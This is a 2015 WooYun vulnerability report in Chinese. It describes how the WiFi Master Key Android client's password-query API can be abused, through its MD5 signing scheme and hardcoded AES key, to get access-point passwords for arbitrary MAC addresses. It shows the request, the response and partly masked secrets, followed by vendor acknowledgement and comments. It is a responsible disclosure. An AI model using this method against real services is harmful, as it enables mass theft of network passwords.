当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0116084

漏洞标题：Wi-Fi万能钥匙Android客户端加密算法较弱导致信息泄露

相关厂商：WiFi万能钥匙

漏洞作者： droidcat

提交时间：2015-05-25 22:49

修复时间：2015-08-27 11:36

公开时间：2015-08-27 11:36

漏洞类型：用户敏感数据泄漏

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-25： 细节已通知厂商并且等待厂商处理中
2015-05-29： 厂商已经确认，细节仅向厂商公开
2015-06-01： 细节向第三方安全合作伙伴开放
2015-07-23： 细节向核心白帽子及相关领域专家公开
2015-08-02： 细节向普通白帽子公开
2015-08-12： 细节向实习白帽子公开
2015-08-27： 细节向公众公开

简要描述：

Wi-Fi万能钥匙Android客户端3.2.1版本（高版本未验证）加密算法较弱，导致向服务器提交任意MAC地址就可以返回该MAC地址对应AP的接入口令，可以用于通过遍历MAC地址获取AP接入口令

详细说明：

在查询AP接入口令时，Wi-Fi万能钥匙使用了HTTP协议，通过POST方法提交数据。

POST /wifiapi/fa.cmd HTTP/1.1
Content-Length: 321
Content-Type: application/x-www-form-urlencoded
Host: wifiapi02.51y5.net
Connection: Keep-Alive
数据部分如下：
och=hiapk
&ii=*****
&appid=0001
&pid=qryapwd:commonswitch
&mac=c4:6a:b7:**:**:**
&lang=cn
&sign=4F5BAC7FC640D50AAA7104742DA30EC4
&bssid=0e:c8:97:4c:f7:**,
&v=631
&ssid=CMCC,
&uhid=a0000000000000000000000000000001
&method=getDeepSecChkSwitch
&st=m
&chanid=hiapk
&dhid=*******


其中，sign为校验字段，对整个post数据加盐后做了MD5运算，盐值为硬编码“LQ9$n******KOL”
提交数据后，服务器返回含有AP接入口令的JSON数据。如下：

{
    "retSn": "****",
    "qryapwd": {
        "retCd": "0",
        "psws": {
            "0e:c8:97:4c:f7:**": {
                "bssid": "0e:c8:97:4c:f7:**",
                "pwd": "4924364E06341F06F90F3BD86C7DDBCE648B1D0E449479A9CC25EC1D855C5522",
                "hid": "**********",
                "xJs": "",
                "ssid": "CMCC",
                "xUser": "",
                "type": "internet",
                "xPwd": "",
                "securityLevel": "2"
            }
        },
        "topn": {
            "0e:c8:97:4c:f7:**CMCC": 0
        },
        "qid": "60fd55e3-eb8a-4e11-9a70-f90b3193ef1d",
        "sysTime": "1432530097687"
    },
    "retCd": "0",
    "commonswitch": {
        "retCd": "0",
        "switchFlag": "true"
    }
}


pwd就是密码，但是经过加密了。但是解密算法也很简单，采用了AES加密， key = 'jh16@*****vpos'， iv = 'j#bd0*****j!3jnv'，都是硬编码。
解密后就是AP接入口令了。

漏洞证明：

无标题.png

修复方案：

升级加密算法，停止旧版本的服务

版权声明：转载请注明来源 droidcat@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-05-29 11:34

厂商回复：

感谢您的关注，已将问题转交至相关团 队查证。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-26 08:10 | Nicky ( 普通白帽子 | Rank:477 漏洞数:69 | http://www.droidsec.cn 安卓安全中文站)

    @瘦蛟舞 开小号了~

  2. 2015-05-26 08:28 | 霍大然 ( 普通白帽子 | Rank:1136 漏洞数:178 | W币花完了，刷分还是不刷？)

    影响5亿用户,果断走通用漏洞！

  3. 2015-05-26 09:28 | CplusHua ( 普通白帽子 | Rank:238 漏洞数:33 | 乌云奖金:-1)

    这不是drops上的文章么?

  4. 2015-05-26 10:00 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    @Nicky 不是我....

  5. 2015-05-26 10:04 | 瘦蛟舞 认证白帽子 ( 普通白帽子 | Rank:687 漏洞数:78 | 铁甲依然在)

    可能关联文章:http://drops.wooyun.org/tips/6049可能关联漏洞: WooYun: WIFI万能钥匙密码查询接口算法破解（可无限查询用户AP明文密码）

  6. 2015-05-26 10:27 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

    @goodwell

  7. 2015-05-27 12:50 | droidcat ( 路人 | Rank:17 漏洞数:2 | 关注移动安全)

    @瘦蛟舞 有可能是同一个漏洞